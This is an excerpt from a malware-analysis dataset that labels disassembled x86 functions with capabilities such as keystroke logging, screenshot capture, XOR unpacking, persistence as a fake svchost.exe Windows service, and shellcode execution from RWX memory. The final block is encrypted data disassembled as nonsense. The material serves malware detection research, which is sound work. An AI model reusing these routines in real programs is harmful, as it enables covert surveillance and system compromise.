joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43126c
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1f8], 0
je 0x431288
cmp dword [esi + 4], 0
je 0x4312b5
test byte [ebx + 0x55], 1
jne 0x4312a7
mov eax, ebx
call fcn.0042fe78
test eax, eax
jne 0x4312a7
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x4313c5
mov edx, esi
mov eax, ebx
call fcn.00430d90
jmp 0x4313c5
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4313be
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004330dc
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.0042db94
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.0043126c
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x44]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.004330dc
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4313c5
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4377d4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x44f118]
cmp byte [eax + 0xc], 0
je 0x437941
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43793a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x450b64], 0
jne 0x437828
push 0x437948
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x437950
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b64], eax
cmp dword [0x44eb00], 0
jne 0x437923
push 0x437960
call sub.kernel32.dll_LoadLibraryA
mov dword [0x44eb00], eax
cmp dword [0x44eb00], 0
je 0x437923
push 0x43796c
mov eax, dword [0x44eb00]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b68], eax
push 0x43797c
mov eax, dword [0x44eb00]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b6c], eax
push 0x437990
mov eax, dword [0x44eb00]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b70], eax
push 0x4379a8
mov eax, dword [0x44eb00]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b74], eax
push 0x4379c0
mov eax, dword [0x44eb00]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b78], eax
push 0x4379d4
mov eax, dword [0x44eb00]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b7c], eax
push 0x4379ec
mov eax, dword [0x44eb00]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b80], eax
push 0x437a04
mov eax, dword [0x44eb00]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b84], eax
push 0x437a20
mov eax, dword [0x44eb00]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b88], eax
push 0x437a2c
mov eax, dword [0x44eb00]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x450b8c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x437941
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x43b7cc
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.004043a8
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x43b81b
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00404618
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x442fc4
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x443014]
test si, 4
je 0x442fd8
or bl, 1
test si, 8
je 0x442fe2
or bl, 4
test si, 1
je 0x442fec
or bl, 8
test si, 2
je 0x442ff6
or bl, 0x10
test si, 0x10
je 0x443000
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x44300f
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x443018
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x443050]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x443031
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x443040
or bl, 4
test esi, 0x20000000
je 0x44304b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x449714
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x449726
add esp, 0xfffffff0
call fcn.00403954
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.004199a0
mov eax, dword [0x44edf4]
mov dword [eax + 4], ebx
mov dword [eax], 0x449ab8
mov eax, dword [0x44ee00]
mov dword [eax + 4], ebx
mov dword [eax], 0x449ac4
mov eax, ebx
call fcn.00449ad0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x411c98]
call fcn.00403604
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x411c98]
call fcn.00403604
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x411c98]
call fcn.00403604
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x411c98]
call fcn.00403604
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x411c98]
call fcn.00403604
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x445ee8
push eax
push 0
push 0
mov eax, dword [0x44ef44]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x41b3c4]
call fcn.0041c82c
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x41b3c4]
call fcn.0041c82c
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x41b3c4]
call fcn.0041c82c
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00449f20
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x449de8
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x449de8
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x449de8
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x449863
call fcn.004039ac
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x449bcc
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x449d77
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x449d58
mov dl, 1
mov eax, dword [0x4120b4]
call fcn.00403604
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.004043a8
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x449d47
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.00437b34
test al, al
je 0x449d3a
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x449d88
lea eax, [ebp - 0x254]
call fcn.004090bc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x449d3a
xor eax, eax
push ebp
push 0x449d33
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x449dc0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x449d1c
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404618
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x449d1c
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00404618
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449d3a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x449c3d
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.00415b90
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x449d7e
lea eax, [ebp - 0x260]
call fcn.004043a8
ret

Function at 0x44a6c0
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x450bb0]
cmp byte [eax + 0xa5], 0
jne 0x44a731
cmp dword [0x450bc8], 0
jne 0x44a6f2
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x44a67c
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x450bc8], eax
cmp dword [0x450bc4], 0
jne 0x44a70d
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x450bc4], eax
cmp dword [0x450bcc], 0
jne 0x44a731
push esp
push 0
push 0
push 0x44a620
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x450bcc], eax
pop edx
ret
Function at 0x44adc4
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x450bb0]
cmp dword [eax + 0x30], 0
je 0x44ae6e
cmp dword [ebx + 0x94], 0
jne 0x44ae68
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x44ad54
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x44ae68
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x44ae2e
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x44ae68
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.00414000
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x44ae3d
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x44b9cc
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x44ba01
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00404498
jmp 0x44ba0e
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.004043fc
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x44cbc0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x44cc01
mov eax, esi
call fcn.0043333c
test al, al
je 0x44cc01
mov eax, dword [ebx + 0x84]
call fcn.004330dc
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x44cc01
push 0
mov eax, dword [ebx + 0x84]
call fcn.004330dc
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x430004
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
mov esi, 0x740661ac
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0x53765658
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x1b9c0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.01b9c200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1b9c0d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1b9c0c2
add dl, dl
jne 0x1b9c0e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1b9c134
xor eax, eax
add dl, dl
jne 0x1b9c0ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1b9c1d5
add dl, dl
jne 0x1b9c0fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b9c108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b9c113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b9c11e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1b9c12a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1b9c0cd
mov eax, 1
add dl, dl
jne 0x1b9c142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1b9c14d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1b9c139
sub eax, ebx
mov ebx, 1
jne 0x1b9c180
mov ecx, 1
add dl, dl
jne 0x1b9c166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1b9c171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1b9c15d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1b9c0cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1b9c197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1b9c1a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1b9c18e
cmp eax, 0x7d00
jae 0x1b9c1c5
cmp eax, 0x500
jb 0x1b9c1c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1b9c0cd
cmp eax, 0x7f
ja 0x1b9c1c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1b9c0cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1b9c1f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1b9c0cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x406d69
Capabilities:
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, 0x104
push edi
push 0
push esi
call fcn.00408290
add esp, 0xc
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
and byte [esi + 2], 0
push 0x1a
pop ebx
push ebx
call fcn.00404197
pop ecx
push 0x61
pop edi
add eax, edi
push eax
push ebx
call fcn.00404197
pop ecx
add eax, edi
push eax
push ebx
call fcn.00404197
pop ecx
add eax, edi
push eax
push ebx
call fcn.00404197
pop ecx
add eax, edi
push eax
push ebx
call fcn.00404197
pop ecx
add eax, edi
push eax
push ebx
call fcn.00404197
pop ecx
add eax, edi
push eax
lea eax, [ebp - 0x50]
push str._c_c_c_c_c_c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push str.Program_Files_
push esi
call fcn.00407f70
lea eax, [ebp - 0x50]
push eax
push esi
call fcn.00407f70
push esi
call fcn.004091bf
add esp, 0x34
push 0x27
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40730a
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
mov edi, 0x100
push edi
push 0x4131ec
call fcn.0040700a
mov esi, str.TkkljvqV_pp_73
push 0x20
push esi
call fcn.0040700a
mov ebx, str.TkkljvqQ_qrdp_68
push 0x80
push ebx
call fcn.0040700a
push edi
mov edi, str.Wjl_hqUlm_nuwVmpr_z_73
push edi
call fcn.0040700a
add esp, 0x20
call fcn.0040739d
test eax, eax
je 0x40737d
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x406e0f
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push edi
push ebx
push esi
call fcn.00407408
add esp, 0xc
cmp dword [0x4167c0], 0
je 0x407374
call fcn.00406c13
push 0
call fcn.00409218
Function at 0x407408
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4112a8
push 0x408878
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x320
push ebx
push esi
push edi
mov edi, 0x104
push edi
lea eax, [ebp - 0x224]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x330]
push eax
call fcn.00406d69
lea eax, [ebp - 0x330]
push eax
call fcn.00408a30
push eax
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x330]
push eax
call fcn.004092f0
add esp, 0x14
test eax, eax
je 0x4074dc
push str._svchost.exe
lea eax, [ebp - 0x330]
push eax
call fcn.00407f70
pop ecx
pop ecx
push esi
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x27
lea eax, [ebp - 0x330]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push esi
lea eax, [ebp - 0x224]
push eax
call fcn.00408290
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x224]
push eax
call fcn.00407f60
add esp, 0x14
mov dword [0x4167c0], 1
mov dword [ebp - 0x120], esi
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x228], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [ebp - 0x228], ebx
cmp ebx, esi
je 0x4075d6
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x224]
push eax
push esi
push 2
push 0x10
mov edi, 0xf01ff
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x22c], eax
cmp eax, esi
jne 0x407567
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x407567
push edi
push dword [ebp + 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x22c], eax
cmp eax, esi
je 0x4075d6
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
push esi
push dword [ebp - 0x22c]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x4075d6
push str.SYSTEMCurrentControlSetServices_
lea eax, [ebp - 0x11c]
push eax
call fcn.00407f60
push dword [ebp + 8]
lea eax, [ebp - 0x11c]
push eax
call fcn.00407f70
add esp, 0x10
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x11c]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push dword [ebp + 0x10]
push 1
push esi
push str.Description
push dword [ebp - 0x120]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or dword [ebp - 4], 0xffffffff
call fcn.004075f0
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4012a0
Capabilities:
Terminate process

Disassembly:
cmp dword [esp + 0x10], 0x16d1067
jne 0x4012b2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [str.Mkldi__uie_oxc]
mov ecx, dword [0x4021b8]
mov edx, dword [0x4021bc]
mov dword [0x416378], eax
movzx eax, word [0x4021c0]
mov word [0x416384], ax
movzx eax, word [0x4021b0]
push esi
mov esi, dword [esp + 8]
mov dword [0x41637c], ecx
mov cl, byte [0x4021c2]
mov dword [0x416380], edx
mov edx, dword [str.cmiIE]
push esi
mov byte [0x416386], cl
mov dword [0x415f68], edx
mov word [0x415f6c], ax
call fcn.00401240
push 0x23e
push 0x415f68
push 1
push 0x9d
mov dword [0x416168], esi
mov dword [0x415f60], 0
call fcn.004010a0
add esp, 0x14
xor eax, eax
pop esi
ret 0x10

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x423e04
Capabilities:
Encode data using xor

Disassembly:
jle 0x423dfe
inc ebp
or byte [edx], dh
sar byte [ebx + 0x3b], 0xd4
shr byte [edx + 5], cl
test byte [ebp + 0x368b56c3], dl
push esi
mov esi, dword [esi]
push esi
mov esi, dword [esi]
lodsd eax, dword [esi]
jno 0x423e3e
add byte [eax], al
push 0xffffffffffffffa3
dec ebp
inc ebp
cmp byte [esi - 0x6f98618], dl
dec edi
jmp 0x423e39
je 0x423e9b
push cs
fdivr dword [ecx]
sub esp, dword [edx]
sti
jne 0x423df5
test al, 0xfe
std
pop ss
cmp edi, dword [0x3f0115ff]
pop ecx
push 0xffffffffffffffa5
stosb byte es:[edi], al
je 0x423e72
xor dword [ebx - 0x43], eax
xor word [ebx], bx
aaa
mov dword [0x73ff39c5], eax
pop ds
invalid
jns 0x423e5b
fisttp qword [ebp + edi*2 - 0x1d]
pushal
je 0x423e8e
adc ebp, ebx
lea esi, [edx + 0x562eeb65]
rcr byte [esi + ebx + 0x7e], 1
cmp bh, byte [esi]
add byte [esp + ecx*8], ah
aad 0xcf
imul edx, dword [edi + edi*8], 0x8bc4f4fe
jl 0x423e92
hlt
sahf
mov bl, 0xae
inc edi
xor ecx, dword [ebx - 0x38]
jge 0x423e9b
inc edx
jbe 0x423ed4
adc byte [eax + 0x51501701], bl
push ecx
push cs
invalid
lds edi, [ebx]
inc esp
invalid